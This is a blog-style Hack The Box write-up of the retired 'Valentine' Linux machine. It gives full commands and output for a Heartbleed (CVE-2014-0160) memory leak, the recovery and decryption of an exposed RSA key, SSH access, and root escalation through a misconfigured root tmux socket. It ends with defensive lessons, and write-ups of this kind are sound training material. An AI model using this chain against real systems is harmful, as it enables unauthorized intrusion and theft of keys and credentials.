root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat valentine.md
// writeups

Valentine

17 Feb 2018 · 10 min read
writeupshacktheboxlinuxEasyretiredvip
Valentine - maquina de Hack The Box

Executive summary — Valentine is an Easy Linux box that doesn't rely on a single exploit, but on a chain of matching clues: an RSA private key exposed on the web (encrypted, hex-encoded) and the Heartbleed (CVE-2014-0160) vulnerability, which leaks memory from the TLS process and with it the key's passphrase. With the key decrypted we SSH in as hype, and escalation abuses a poorly protected root tmux session: its socket is readable/writable by our user, so attaching is enough. A Heartbleed + RSA key → SSH → tmux → root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.232.136

Attack map

[22,80,443] nmap → OpenSSH 5.9p1 (old) + Apache 2.2.22 on HTTP and HTTPS
[80] gobuster → /dev/ (hype_key + notes.txt), /encode, /decode
   │  hype_key: encrypted RSA private key, hex-encoded
   ▼
[443] Heartbleed (CVE-2014-0160) → memory leak → base64 passphrase
   │  openssl rsa decrypts hype_key with that passphrase
   ▼
[SSH]  hype  (decrypted key, negotiating legacy ssh-rsa)  → user.txt
   │  .bash_history reveals a root tmux socket: /.devs/dev_sess
   ▼
[ROOT]  tmux -S /.devs/dev_sess attach → root.txt

1. Reconnaissance

As in any real assessment, the first step is identifying exposed services with a full port scan:

nmap -Pn --open -sV -sC -p- 10.129.232.136
  • -Pn → skips host-discovery ping (HTB usually blocks ICMP).
  • --open → shows only open ports.
  • -sV → tries to identify each service's version.
  • -sC → runs the default NSE scripts.
  • -p- → scans all 65535 ports, not just the top-1000.
22/tcp   open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10
80/tcp   open  http     Apache httpd 2.2.22
443/tcp  open  ssl/http Apache httpd 2.2.22

Interpretation: port 22 could give us a way in if we get credentials or a key. Port 80 serves plain content; 443 serves it over HTTPS, and is especially interesting because many OpenSSL vulnerabilities affect TLS services. On top of that, both OpenSSH and Apache are fairly old versions — already suggesting the box may be vulnerable to known techniques.

2. Web enumeration

With only HTTP and HTTPS available, the logical next step is exploring the web app. Opening the homepage in a browser shows an image related to a bleeding heart. On Hack The Box this is rarely a coincidence: the visual clue points straight at Heartbleed. Still, it's worth enumerating properly before jumping to the exploit:

gobuster dir -u http://10.129.232.136 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
/dev
/encode
/decode
/index

The really important path is /dev/. /encode and /decode look like part of some web encoding/decoding feature; they're not directly exploitable, but they reinforce the idea that the system deals with transformed data.

3. Inspecting /dev and rebuilding the RSA key

Inside /dev/ there's a notes.txt with useful context:

curl http://10.129.232.136/dev/notes.txt
To do:
1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

It doesn't grant direct access, but item 6 («find a better way to take notes») hints that the developer is storing information insecurely. That points to the other file in the directory: hype_key.

curl http://10.129.232.136/dev/hype_key -o hype_key
cat hype_key
2d 2d 2d 2d 2d 42 45 47 49 4e ...

It's a hex-encoded private key: the first bytes 2d 2d 2d 2d 2d correspond to -----, the start of a PEM block. We rebuild it with xxd in reverse mode:

xxd -r -p hype_key > id_rsa
chmod 600 id_rsa
head id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

chmod 600 is mandatory: for security, SSH ignores any private key readable by other users. We now have a valid but encrypted RSA private key: we need the passphrase to use it.

4. Heartbleed (CVE-2014-0160) → the passphrase

What Heartbleed is: a historic OpenSSL flaw that lets you read chunks of the remote server's memory via the TLS heartbeat. It's not remote code execution, but it can leak credentials, cookies, sessions, private keys and other sensitive data.

searchsploit heartbleed

Among the results is the script 32764.py. It's an old exploit written for Python 2: if running it with Python 3 throws a print error, that doesn't mean it's broken — run it with python2 instead.

python2 /usr/share/exploitdb/exploits/multiple/remote/32764.py 10.129.232.136

The output is a large memory dump from the process. You don't need to understand all of it: just spot useful strings. Among the leaked memory, a base64 string appears:

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==

It fits the web's /encode-/decode theme. We decode it:

echo -n "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
heartbleedbelievethehype

That string is the passphrase for the RSA key from /dev/hype_key. This is where the whole chain ties together: /dev gave us the encrypted key, Heartbleed leaked memory, and in that memory was the encoded string that turns out to be exactly the missing passphrase. We decrypt the key:

openssl rsa -in id_rsa -out id_rsa_dec
# Enter pass phrase: heartbleedbelievethehype
writing RSA key

5. Initial access via SSH

The id_rsa_dec key no longer has Proc-Type/DEK-Info headers — it's ready to use. When connecting, a typical issue with modern SSH clients can appear: the server is old enough that its ssh-rsa signature is no longer accepted by default (error sign_and_send_pubkey: no mutual signature supported). It's not a problem with the key, just algorithm incompatibility; force the legacy algorithm:

ssh -i id_rsa_dec hype@10.129.232.136 -oPubkeyAcceptedAlgorithms=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa
cd ~/Desktop
cat user.txt

6. Escalation — root's tmux session

Checking the user's command history turns up a very strong lead:

cat ~/.bash_history
tmux -L dev_sess
tmux a -t dev_sess
tmux --help
tmux -S /.devs/dev_sess

hype had already tried interacting with a tmux session on a specific socket: /.devs/dev_sess. That's worth inspecting right away:

ls -la /.devs/dev_sess
srw-rw---- 1 root hype 0 ... /.devs/dev_sess

It's a Unix socket owned by root, with group hype and read/write permissions for that group. In other words: there's a tmux session created by root that our user can connect to — practically equivalent to a root shell. We attach:

tmux -S /.devs/dev_sess attach
root@Valentine:/home/hype#

tmux manages its sessions through Unix sockets. If a root session leaves its socket accessible to another user, that user inherits its context by attaching. It's not a memory or kernel exploit: it's a serious misconfiguration.

7. Root flag

id
cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Info leakOpenSSL (443)Heartbleed (CVE-2014-0160) — TLS process memory leakRSA key passphrase
FootholdWeb (/dev/hype_key)Exposed RSA private key (hex + encrypted) and leaked passphraseSSH as hype
PrivEsctmux (/.devs/dev_sess)Root session socket with overly permissive group accessRoot

Lessons learned

  • Patch OpenSSL: Heartbleed (2014) leaks keys, passwords and sessions straight from process memory.
  • Never publish private keys, not even hex-«obfuscated»: they're still the full key.
  • An encrypted key isn't protected if the passphrase leaks through another channel: cryptographic protection only holds while the associated secret stays secret.
  • Visual clues matter: the bleeding heart on the homepage pointed straight at Heartbleed.
  • Shared root sockets/sessions (tmux, screen) with overly open group permissions equal a direct escalation path; many privescs don't rely on kernel exploits but on operational misconfigurations.